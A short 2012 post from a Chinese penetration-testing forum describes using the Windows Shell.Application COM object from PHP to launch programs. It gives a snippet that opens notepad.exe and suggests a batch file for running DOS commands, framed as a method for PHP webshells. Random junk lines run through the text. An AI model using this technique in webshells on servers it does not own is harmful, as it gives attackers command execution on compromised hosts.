中国网络渗透测试联盟
标题:
php和asp利用Shell.Application来执行程序
[打印本页]
作者:
admin
时间:
2012-9-15 14:29
标题:
php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
0 \* f2 G# h/ j( T* |
; s4 w& c( g1 j# Z
今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法
$ ~6 w* Q* |0 b# G" g7 k( K
' z) d. }9 V* ]/ C( R& B0 O
<?php
7 m8 `/ N5 U1 e/ V1 Y
$wsh = new COM('Shell.Application') or die("Shell.Application");
. G$ A8 t, |$ q0 e O0 y5 g8 V! P. A4 p
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
1 o4 N6 j$ a5 q# ^
//没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
* U. W( X: w' r) m, F2 C" q1 ?
?>
" _8 T2 E7 Q. A8 q- A- I
% d" L( A4 ^. x- W4 e/ k. d& i ^
xp+APMServ5.2.0测试通过。
2 H! {/ {6 g. `; g+ |: Y: {
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2